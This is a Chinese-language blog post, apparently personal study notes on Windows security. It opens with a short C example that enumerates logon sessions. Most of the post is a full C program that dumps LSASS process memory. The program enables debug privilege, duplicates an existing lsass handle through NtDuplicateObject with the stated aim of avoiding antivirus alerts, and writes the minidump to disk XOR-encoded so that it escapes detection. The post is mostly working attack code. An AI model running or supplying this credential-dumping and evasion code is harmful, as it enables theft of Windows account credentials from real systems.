许久不写博客,甚至已经有些忘记格式该是如何的,本篇博文用于记录我在学习Windows安全时的一些知识点。
利用LogonSessionList
结构我们可以读取系统内当前活动会话之信息,若用户尚未登陆,则无法通过此结构读取检测到用户的Session,因为系统内这时并没有与该用户关联的活动登录会话。
同时,当用户注销会话后,我们也不可通过此结构获取其信息。
导出LogonSessionList
我们可以使用LsaEnumerateLogonSessions
函数获取其数组指针,随后通过LsaGetLogonSessionData
函数读取其中的结构。
NTSTATUS LsaEnumerateLogonSessions(
[out] PULONG LogonSessionCount,
[out] PLUID *LogonSessionList
);
NTSTATUS LsaGetLogonSessionData(
[in] PLUID LogonId,
[out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
);
其中,我们需要SECURITY_LOGON_SESSION_DATA
结构内的信息,其结构如下
typedef struct _SECURITY_LOGON_SESSION_DATA {
ULONG Size;
LUID LogonId;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING LogonDomain;
LSA_UNICODE_STRING AuthenticationPackage;
ULONG LogonType;
ULONG Session;
PSID Sid;
LARGE_INTEGER LogonTime;
LSA_UNICODE_STRING LogonServer;
LSA_UNICODE_STRING DnsDomainName;
LSA_UNICODE_STRING Upn;
ULONG UserFlags;
LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
LSA_UNICODE_STRING LogonScript;
LSA_UNICODE_STRING ProfilePath;
LSA_UNICODE_STRING HomeDirectory;
LSA_UNICODE_STRING HomeDirectoryDrive;
LARGE_INTEGER LogoffTime;
LARGE_INTEGER KickOffTime;
LARGE_INTEGER PasswordLastSet;
LARGE_INTEGER PasswordCanChange;
LARGE_INTEGER PasswordMustChange;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;
我们可以通过for循环的方式将相关信息遍历导出。
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<NTSecAPI.h>
#include<tchar.h>
#pragma comment(lib,"Secur32.lib")
int main(int argc, char* argv[]) {
ULONG LogonSessionCount;
PLUID LogonSessionList;
PSECURITY_LOGON_SESSION_DATA pLogonSessionData;
NTSTATUS status;
//分配内存
pLogonSessionData = (PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(SECURITY_LOGON_SESSION_DATA));
status = LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList);
if (status != ERROR_SUCCESS) {
printf("LsaEnumrateLogonSessions ErrorCode:%u\r\n", GetLastError());
return 0;
}
//读取现存有效session数
printf("SessionCount %d\r\n", LogonSessionCount);
//成功导出sessioncount 枚举每个session username
for (int i = 0; i < LogonSessionCount; i++) {
LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
_tprintf("%ws\\%ws\r\n", pLogonSessionData->LogonDomain,pLogonSessionData->UserName.Buffer);
}
LsaFreeReturnBuffer(pLogonSessionData);
return 0;
}
效果如下:
随着技术的发展,杀软对lsass等进程句柄的获取有了更加严格的监控,下面我们将使用NtDuplicateObject间接获取进程句柄,避免告警。
typedef NTSTATUS (NTAPI* NtQueryObject)(
IN OPTIONAL HANDLE Handle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT OPTIONAL PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
typedef NTSTATUS (NTAPI* NtQuerySystemInformation)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* NtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount; //Handle counts
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
获取Debug权限的操作,我们暂且略过,从第二步如何使用NtQuerySystemInformation
获取系统内句柄信息开始演示.
获取函数地址,其余Nt函数流程大体一致
HMODULE hModule = GetModuleHandle("ntdll.dll");
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
return 0;
}
获取系统内的句柄信息
提前申请SYSTEM_HANDLE_INFORMATION
内存空间,使用while循环判断执行结果,若ReturnLength不足,函数会将缓冲区所需的大小返回至ReturnLength当中,继续循环申请内存直至成功。
PVOID SysInfo;
PSYSTEM_HANDLE_INFORMATION HandleInfo;
ULONG ReturnLength = 0;
NTSTATUS status;
while ((status = NtQuerySystemInformation(
SystemHandleInformation,
HandleInfo,
ReturnLength,
&ReturnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}
if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}
筛选进程句柄
用到的结构体
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;//进程id
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle; //句柄的USHOT形式,若要使用,可利用(Void*)进行强转
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct __OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName; //获得该对象的类型名的UNICODE_STRING
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
UCHAR TypeIndex;
CHAR Reserved;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
利用for循环,遍历存储于SYSTEM_HANDLE_INFORMATION
结构中的句柄信息,使用OpenProcess
打开一个具有PROCESS_DUP_HANDLE
、PROCESS_QUERY_LIMITED_INFORMATION
权限的进程句柄,为避免杀软检测,我们并不能直接使用系统中存在的这份句柄,我们需要使用NtDuplicateObject
函数copy一份该进程的句柄以供我们使用。
SYSTEM_HANDLE sysHandle;
HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
NTSTATUS status;
POBJECT_TYPE_INFORMATION objectTypeInfo;
for (int index=1; index < HandleInfo->HandleCount; index++) {
//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
if (HandleInfo->Handles[index].ProcessId == 4)
continue;
sysHandle = HandleInfo->Handles[index];
hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
if (!hProcess) {
continue;
}
//try to copy handle
status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
if (!NT_SUCCESS(status)) {
/*printf("DupliteHandle Failed of the pid:%d\r\n", sysHandle.ProcessId);*/
continue;
}
//Query handle info
ReturnLength = 0; //Reset ReturnLength
while ((status = NtQueryObject(
Duplitehandle,
ObjectTypeInformation,
objectTypeInfo,
ReturnLength,
&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
}
if (!objectTypeInfo) {
printf("could not get the handle information\r\n");
continue;
}
wchar_t path[255];
DWORD buffSize = 255;
}
此处我们使用wcscmp
函数查找ObjectTypeInfo的TypeName.buffer出现Process
关键字的句柄,若存在进入下一层判断,利用QueryFullProcessImageName
查找进程名等信息,进而使用wcsstr
函数查找出现该关键字的进程,并利用targetHandle
、ProcessID
变量将复制的句柄、lsass
进程的PID保存。
wchar_t path[255];
DWORD buffSize = 255;
if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
//查找进程名等信息
if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
}
else
{
if (wcsstr(path,L"lsass") != NULL) {
printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
targetHandle = Duplitehandle;
ProcessID = sysHandle.ProcessId;
}
}
}
MiniDumpCallBack
触发回调之后,通过RtlCopyMemory
将Lsass
进程内的内容存到堆指针dumpBuffer所指向的堆空间当中;触发回调函数时,利用全局变量bytesRead
获得我们已转储的lsass进程内存内容的大小,利用callbackInput->Io.Offset
以及callbackInput->Io.BufferBytes
获取每次我们读取内存内容的开始位置以及大小。
//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;
BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
LPVOID Destination=0, Source=0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
//Triggering Write CallbackFunc
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
//抓取触发回调后 读取lsass 要被dump的内存内容
Source = callbackInput->Io.Buffer;
//计算存储这部分内容的位置 堆的基地址+lsass转储内存内容的开始偏移
Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
//上面被读取的小块内容的大小
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
//向堆中写入lsass的小块内容
RtlCopyMemory(Destination, Source, bufferSize);
//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return true;
}
#include<Windows.h>
#include<stdio.h>
#include<tchar.h>
#include<iostream>
#include<ProcessSnapshot.h>
#include<DbgHelp.h>
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define NT_SUCCESS(x) ((x) >= 0)
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
#pragma comment (lib,"Dbghelp.lib")
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemProcessorInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemPathInformation = 4,
SystemProcessInformation = 5,
SystemCallCountInformation = 6,
SystemDeviceInformation = 7,
SystemProcessorPerformanceInformation = 8,
SystemFlagsInformation = 9,
SystemCallTimeInformation = 10,
SystemModuleInformation = 11,
SystemLocksInformation = 12,
SystemStackTraceInformation = 13,
SystemPagedPoolInformation = 14,
SystemNonPagedPoolInformation = 15,
SystemHandleInformation = 16,
SystemObjectInformation = 17,
SystemPageFileInformation = 18,
SystemVdmInstemulInformation = 19,
SystemVdmBopInformation = 20,
SystemFileCacheInformation = 21,
SystemPoolTagInformation = 22,
SystemInterruptInformation = 23,
SystemDpcBehaviorInformation = 24,
SystemFullMemoryInformation = 25,
SystemLoadGdiDriverInformation = 26,
SystemUnloadGdiDriverInformation = 27,
SystemTimeAdjustmentInformation = 28,
SystemSummaryMemoryInformation = 29,
SystemNextEventIdInformation = 30,
SystemEventIdsInformation = 31,
SystemCrashDumpInformation = 32,
SystemExceptionInformation = 33,
SystemCrashDumpStateInformation = 34,
SystemKernelDebuggerInformation = 35,
SystemContextSwitchInformation = 36,
SystemRegistryQuotaInformation = 37,
SystemExtendServiceTableInformation = 38,
SystemPrioritySeperation = 39,
SystemVerifierAddDriverInformation = 40,
SystemVerifierRemoveDriverInformation = 41,
SystemProcessorIdleInformation = 42,
SystemLegacyDriverInformation = 43,
SystemCurrentTimeZoneInformation = 44,
SystemLookasideInformation = 45,
SystemTimeSlipNotification = 46,
SystemSessionCreate = 47,
SystemSessionDetach = 48,
SystemSessionInformation = 49,
SystemRangeStartInformation = 50,
SystemVerifierInformation = 51,
SystemVerifierThunkExtend = 52,
SystemSessionProcessInformation = 53,
SystemLoadGdiDriverInSystemSpace = 54,
SystemNumaProcessorMap = 55,
SystemPrefetcherInformation = 56,
SystemExtendedProcessInformation = 57,
SystemRecommendedSharedDataAlignment = 58,
SystemComPlusPackage = 59,
SystemNumaAvailableMemory = 60,
SystemProcessorPowerInformation = 61,
SystemEmulationBasicInformation = 62,
SystemEmulationProcessorInformation = 63,
SystemExtendedHandleInformation = 64,
SystemLostDelayedWriteInformation = 65,
SystemBigPoolInformation = 66,
SystemSessionPoolTagInformation = 67,
SystemSessionMappedViewInformation = 68,
SystemHotpatchInformation = 69,
SystemObjectSecurityMode = 70,
SystemWatchdogTimerHandler = 71,
SystemWatchdogTimerInformation = 72,
SystemLogicalProcessorInformation = 73,
SystemWow64SharedInformationObsolete = 74,
SystemRegisterFirmwareTableInformationHandler = 75,
SystemFirmwareTableInformation = 76
} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef LONG KPRIORITY;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
PVOID Reserved2;
ULONG HandleCount;
ULONG SessionId;
PVOID Reserved3;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG Reserved4;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
PVOID Reserved5;
SIZE_T QuotaPagedPoolUsage;
PVOID Reserved6;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION;
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation,
ObjectAllTypesInformation,
ObjectHandleInformation,
ObjectTypesInformation,
ObjectDataInformation
}OBJECT_INFORMATION_CLASS, * POBJECT_INFORMATION_CLASS;
typedef NTSTATUS (NTAPI* pNtQueryObject)(
IN OPTIONAL HANDLE Handle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT OPTIONAL PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
typedef NTSTATUS (NTAPI* pNtQuerySystemInformation)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
typedef struct __OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
UCHAR TypeIndex;
CHAR Reserved;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef NTSTATUS(NTAPI* pNtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);
typedef NTSTATUS (NTAPI* pRtlAdjustPrivilege)(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
);
//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;
DWORD FindProcHandle();
BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken);
int main() {
BOOLEAN enabled;
if (RtlAdjustPrivilege == NULL) {
printf("Not Found pRtlAdjustPrivilege Func,ErrorCode:%u\r\n", GetLastError());
return 0;
}
HANDLE hToken = NULL, PrimaryToken = NULL;
if (EnableSeDebugPrivilege(true, hToken))
printf("SeDebugPrivilege success\r\n");
else
printf("SedebugPrivilege failed\r\n");
DWORD pid = FindProcHandle();
return 0;
}
BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
LPVOID Destination=0, Source=0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
//Triggering Write CallbackFunc
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
//抓取触发回调后 读取lsass 要被dump的内存内容
Source = callbackInput->Io.Buffer;
//计算存储这部分内容的位置 堆的基地址+lsass转储内存内容的开始偏移
Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
//上面被读取的小块内容的大小
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
//向堆中写入lsass的小块内容
RtlCopyMemory(Destination, Source, bufferSize);
//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return true;
}
BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken)
{
BOOL fok = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;//结构体,表示令牌权限
//只启动调试权限,所以权限的个数是一个
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
//下面一句话,在tp.Privilege[0].Attributes属性中,设置是开启这个权限还是关闭这个权限
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fok = (GetLastError() == ERROR_SUCCESS);
}
return fok;
}
DWORD FindProcHandle()
{
HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
HMODULE hModule = GetModuleHandle(L"ntdll.dll");
PVOID SysInfo;
PSYSTEM_HANDLE_INFORMATION HandleInfo=nullptr;
SYSTEM_HANDLE sysHandle;
POBJECT_TYPE_INFORMATION objectTypeInfo=nullptr;
ULONG ReturnLength=0;
DWORD index = 1,ProcessID=0;
NTSTATUS status;
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
return 0;
}
pNtDuplicateObject NtDuplicateObject = (pNtDuplicateObject)GetProcAddress(hModule, "NtDuplicateObject");
if (!NtDuplicateObject) {
printf("NtDumplicateObject get address failed %d\r\n",GetLastError());
return 0;
}
pNtQueryObject NtQueryObject = (pNtQueryObject)GetProcAddress(hModule, "NtQueryObject");
if (!NtQueryObject) {
printf("NtQueryObject get address failed %d\r\n",GetLastError());
return 0;
}
//get processinformation
//HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x10000);
while ((status = NtQuerySystemInformation(
SystemHandleInformation,
HandleInfo,
ReturnLength,
&ReturnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}
for (; index < HandleInfo->HandleCount; index++) {
//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
if (HandleInfo->Handles[index].ProcessId == 4)
continue;
sysHandle = HandleInfo->Handles[index];
hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
if (!hProcess) {
continue;
}
//try to copy handle
status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
if (!NT_SUCCESS(status)) {
continue;
}
ReturnLength = 0;
while ((status = NtQueryObject(
Duplitehandle,
ObjectTypeInformation,
objectTypeInfo,
ReturnLength,
&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
}
if (!objectTypeInfo) {
printf("could nt get the handle information %d\r\n",GetLastError());
continue;
}
wchar_t path[255];
DWORD buffSize = 255;
if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
//查找进程名等信息
if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
}
else
{
if (wcsstr(path,L"lsass") != NULL) {
printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
targetHandle = Duplitehandle;
ProcessID = sysHandle.ProcessId;
}
}
}
}
//try to get the process dump file
HANDLE hFile = CreateFile(L"C:\\users\\86156\\desktop\\mini.dmp", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hFile) {
printf("CreateFile ErrorCode:%u\r\n", GetLastError());
return false;
; }
//Set up minidump callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
boolean isDumped = MiniDumpWriteDump(targetHandle, ProcessID, NULL, MiniDumpWithFullMemory, NULL, NULL,&callbackInfo );
if (isDumped) {
printf("Dump Process Memory Context to heap success\r\n");
/*WriteFile(hFile, dumpBuffer, bytesRead, &bytesRead, NULL); */
//printf("Size = %x\r\n", *((char*)dumpBuffer+3)^'a'^'a');
DWORD strLeng = 1;
for (int i = 0; i < bytesRead; i++) {
char str = *((char*)dumpBuffer + i) ^ 'a' ;
LPVOID lpStr = &str;
WriteFile(hFile, lpStr, strLeng, &strLeng, NULL);
}
}
else {
printf("%d\r\n",GetLastError());
}
CloseHandle(hFile);
free(dumpBuffer);
CloseHandle(hProcess);
CloseHandle(Duplitehandle);
CloseHandle(targetHandle);
return 0;
}
https://tttang.com/archive/1810/#toc_ntduplicateobject
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649751822&idx=3&sn=d8a0d685152418e7b8a6abf532365aa2&chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd
https://loong716.top/posts/lsass/